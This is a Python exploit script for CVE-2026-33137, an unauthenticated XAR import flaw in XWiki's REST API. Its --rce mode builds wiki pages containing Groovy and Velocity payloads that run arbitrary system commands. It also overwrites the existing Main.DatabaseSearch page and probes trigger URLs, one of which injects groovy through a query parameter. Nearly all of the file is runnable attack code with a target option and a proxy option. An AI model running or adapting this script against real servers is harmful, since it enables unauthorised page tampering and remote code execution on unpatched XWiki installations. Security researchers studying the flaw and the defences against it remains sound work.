#!/usr/bin/env python3
"""
CVE-2026-33137 - XWiki Unauthenticated XAR Import via REST /wikis/{wikiName}

The POST /wikis/{wikiName} REST API endpoint in XWiki executes a XAR import
without performing any authentication or authorization checks, allowing an
unauthenticated attacker to create or update arbitrary documents in the target wiki.

Affected versions: prior to 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1
Patched in: 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1
"""

import io, re, zipfile, argparse, sys

try:
    import requests
except ImportError:
    print("[-] Missing 'requests' library. Install with: pip install requests")
    sys.exit(1)

PATCHED = [(16,10,17), (17,4,9), (17,10,3), (18,0,1), (18,1,0)]

def _parse_version(v: str):
    try:
        return tuple(int(p) for p in v.strip().split("-")[0].split(".")[:3])
    except ValueError:
        return None

def _is_vulnerable(v: str):
    pv = _parse_version(v)
    return None if pv is None else all(pv < p for p in PATCHED)

def _is_xwiki(resp):
    ct = (resp.headers.get("Content-Type") or "").lower()
    b = (resp.text or "").strip()
    return (b.startswith("<?xml") and "<wiki" in b[:200]) or \
           (ct.startswith("application/xml") and "<wiki" in b[:200]) or \
           (ct in ("application/xml","application/json") and "<link" in b[:500] and "rel=" in b[:500] and "wiki" in b[:200])

def _get_rest_base(target):
    try:
        r = requests.get(f"{target}/xwiki/bin/login", timeout=10)
        m = re.search(r'data-xwiki-rest-url="([^"]+)"', r.text)
        if m:
            return re.sub(r'/spaces/.*', '', m.group(1)).rstrip("/")
    except: pass
    return None

def _get_version(target, sess):
    try:
        r = sess.get(f"{target}/rest/wikis/xwiki", timeout=10)
        hv = r.headers.get("XWiki-Version")
        if hv and hv[0].isdigit(): return hv
    except: pass
    try:
        r = sess.get(f"{target}/xwiki/bin/login", timeout=10)
        m = re.search(r'xwiki-version=(\d[\d.]+)', r.text)
        if m: return m.group(1)
        m = re.search(r'xwiki-platform-[\w-]+webjar/(\d[\d.]+)/', r.text)
        if m: return m.group(1)
    except: pass
    return None

def _build_xar(space, page, content, title=None):
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('package.xml', '<package><name>P</name><backupPack>true</backupPack></package>')
        zf.writestr(f'{space}/{page}.xml',
            f'<?xml version="1.1" encoding="UTF-8"?><xwikidoc version="1.5" reference="{space}.{page}" locale="">'
            f'<web>{space}</web><name>{page}</name><creator>XWiki.Guest</creator><author>XWiki.Guest</author>'
            f'<date>1748217600000</date><version>1.1</version><title>{title or page}</title>'
            f'<syntaxId>xwiki/2.1</syntaxId><hidden>false</hidden><content>{content}</content></xwikidoc>')
    return buf.getvalue()

def _build_rce_xar(cmd):
    pages = [
        ("CVE","RCEGroovy", f'{{{{groovy}}}}{cmd}.execute(){{{{/groovy}}}}'),
        ("CVE","RCEVelocity", f'{{{{velocity}}}}\n$util.getClass("java.lang.Runtime").getRuntime().exec("{cmd}")\n{{{{/velocity}}}}'),
        ("CVE","RCEScript", f'{{{{velocity}}}}\n$xwiki.parseGroovyFromString("{cmd}".execute().text)\n{{{{/velocity}}}}'),
        ("Main","DatabaseSearch", f'{{{{velocity}}}}\n$xwiki.parseGroovyFromString("{cmd}".execute().text)\n{{{{/velocity}}}}'),
    ]
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('package.xml', '<package><name>RCE</name><backupPack>true</backupPack></package>')
        for s, p, c in pages:
            zf.writestr(f'{s}/{p}.xml',
                f'<?xml version="1.1" encoding="UTF-8"?><xwikidoc version="1.5" reference="{s}.{p}" locale="">'
                f'<web>{s}</web><name>{p}</name><creator>XWiki.Guest</creator><author>XWiki.Guest</author>'
                f'<date>1748217600000</date><version>1.1</version><title>{p}</title>'
                f'<syntaxId>xwiki/2.1</syntaxId><hidden>false</hidden><content>{c}</content></xwikidoc>')
    return buf.getvalue()

def _find_endpoint(target, wiki_name, sess):
    base = _get_rest_base(target)
    if base:
        return f"{target}{base}"
    for c in [f"{target}/rest/wikis/{wiki_name}", f"{target}/xwiki/rest/wikis/{wiki_name}"]:
        try:
            if sess.get(c.replace(f"/{wiki_name}", ""), timeout=10).status_code < 500:
                return c
        except: pass
    return None

def _post_xar(endpoint, xar, sess):
    try:
        r = sess.post(endpoint, data=xar,
            headers={"Content-Type":"application/octet-stream","Accept":"application/xml"},
            params={"backup":"true","historyStrategy":"OVERVERSIONS"}, timeout=15)
        return (r.status_code in (200,201,204) and _is_xwiki(r)), r.status_code
    except Exception as e:
        return False, str(e)

def _check_trigger(ep, label=""):
    try:
        r = requests.get(ep, timeout=10, allow_redirects=False)
        return r.status_code
    except: return "ERR"

def probe(target):
    print(f"[*] Probe: {target}")
    for path in ["/","/xwiki/bin/view/Main/","/xwiki/bin/login","/xwiki/rest/wikis"]:
        try:
            r = requests.get(f"{target}{path}", timeout=10)
            t = r.text.lower() if r.text else ""
            s = "[XWIKI]" if _is_xwiki(r) else "[CONTENT]" if "data-xwiki" in t else ""
            print(f"  {path:32s} HTTP {r.status_code} {s}")
        except Exception as e:
            print(f"  {path:32s} ERR {e}")
    v = _get_version(target, requests.Session())
    if v:
        vu = _is_vulnerable(v)
        print(f"  version:              {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}")

def exploit(target, wiki_name="xwiki", space="CVE", page="PoCTest",
            content="Pwned via CVE-2026-33137", verify=True, proxy=None):
    sess = requests.Session()
    if proxy: sess.proxies = {"http": proxy, "https": proxy}

    v = _get_version(target, sess)
    if v:
        vu = _is_vulnerable(v)
        print(f"[*] XWiki {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}")

    ep = _find_endpoint(target, wiki_name, sess)
    if not ep:
        print("[-] Could not find REST endpoint"); return False

    ok, code = _post_xar(ep, _build_xar("PF","C","x"), sess)
    if not ok:
        print(f"[-] XAR import: HTTP {code}"); return False
    print(f"[+] XAR import: HTTP {code}")

    ok2, _ = _post_xar(ep, _build_xar(space, page, content, page), sess)
    if not ok2:
        print("[-] Document creation failed"); return False
    print(f"[+] Document created: {space}.{page}")

    if verify:
        for epv in [f"{target}/rest/wikis/{wiki_name}/spaces/{space}/pages/{page}",
                     f"{target}/xwiki/rest/wikis/{wiki_name}/spaces/{space}/pages/{page}"]:
            try:
                r = sess.get(epv, headers={"Accept":"application/json"}, timeout=10)
                if r.status_code == 200:
                    print(f"[+] Verified: document readable at {epv.rsplit('/',1)[-1]}")
                    return True
            except: pass
        print("[*] Verify: document exists but requires auth to read")
    return True

def rce_exploit(target, command, wiki_name="xwiki",
                username=None, password=None, proxy=None):
    sess = requests.Session()
    if proxy: sess.proxies = {"http": proxy, "https": proxy}
    if username and password:
        sess.auth = (username, password)

    v = _get_version(target, sess)
    if v:
        vu = _is_vulnerable(v)
        print(f"[*] XWiki {v} {'(VULNERABLE)' if vu else '(PATCHED)' if vu is False else '(?)'}")
    print(f"[*] Command: {command}")

    ep = _find_endpoint(target, wiki_name, sess)
    if not ep:
        print("[-] Could not find REST endpoint"); return False
    print(f"[*] REST: {ep}")

    ok, code = _post_xar(ep, _build_xar("PF","C","x"), sess)
    if not ok:
        print(f"[-] XAR import: HTTP {code}"); return False
    print(f"[+] XAR import: HTTP {code}")

    ok2, _ = _post_xar(ep, _build_rce_xar(command), sess)
    if not ok2:
        print("[-] RCE page import failed"); return False
    print("[+] RCE pages imported (CVE.RCEGroovy, CVE.RCEVelocity, CVE.RCEScript, Main.DatabaseSearch)")

    print("\n  Trigger paths:")
    table = []
    for p in [f"/rest/wikis/{wiki_name}/spaces/CVE/pages/RCEGroovy",
              f"/rest/wikis/{wiki_name}/spaces/CVE/pages/RCEGroovy?sheet=CVE.RCEGroovy",
              f"/xwiki/bin/view/CVE/RCEGroovy",
              f"/xwiki/bin/get/CVE/RCEGroovy?outputSyntax=plain",
              f"/xwiki/bin/view/CVE/RCEVelocity",
              f"/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&text={{{{/async}}}}{{{{groovy}}}}{command}.execute(){{{{/groovy}}}}"]:
        c = _check_trigger(f"{target}{p}")
        if isinstance(c, int) and c in (200,304):
            s = "OK"
        elif isinstance(c, int) and c in (301,302,307,308):
            s = "redirect"
        elif isinstance(c, int) and c == 401:
            s = "unauthorized"
        elif isinstance(c, int) and c == 403:
            s = "forbidden"
        elif isinstance(c, int):
            s = f"HTTP {c}"
        else:
            s = c
        label = p[:65] + "..." if len(p) > 68 else p
        table.append((label, s))

    for label, s in table:
        print(f"    {label:68s} {s}")

    rendered = any("OK" in s for _, s in table)
    authed = username and password
    blocked = any(s == "redirect" or s == "unauthorized" for _, s in table)

    print()
    if rendered:
        print("[+] RCE trigger path is accessible!")
    else:
        if authed:
            print("[!] Trigger paths blocked (check credentials / scripting rights)")
        else:
            print("[!] Trigger paths blocked by authentication")
    print(f"    XAR import (CVE-2026-33137): WORKING")
    print(f"    Page rendering:              {'ACCESSIBLE' if rendered else 'BLOCKED'}")
    return True

def main():
    p = argparse.ArgumentParser(description="CVE-2026-33137 - XWiki Unauthenticated XAR Import PoC")
    p.add_argument("-t","--target", required=True)
    p.add_argument("-w","--wiki", default="xwiki")
    p.add_argument("-s","--space", default="CVE")
    p.add_argument("-p","--page", default="PoCTest")
    p.add_argument("-c","--content", default="Pwned via CVE-2026-33137")
    p.add_argument("--proxy")
    p.add_argument("--probe", action="store_true")
    p.add_argument("--no-verify", action="store_true")
    p.add_argument("--rce", metavar="COMMAND")
    p.add_argument("-u","--username")
    p.add_argument("--password")

    args = p.parse_args()
    target = args.target.rstrip("/")

    if args.probe:
        probe(target)
        return
    if args.rce:
        sys.exit(0 if rce_exploit(target, args.rce, args.wiki,
                                  args.username, args.password, args.proxy) else 1)
    sys.exit(0 if exploit(target, args.wiki, args.space, args.page,
                          args.content, not args.no_verify, args.proxy) else 1)

if __name__ == "__main__":
    main()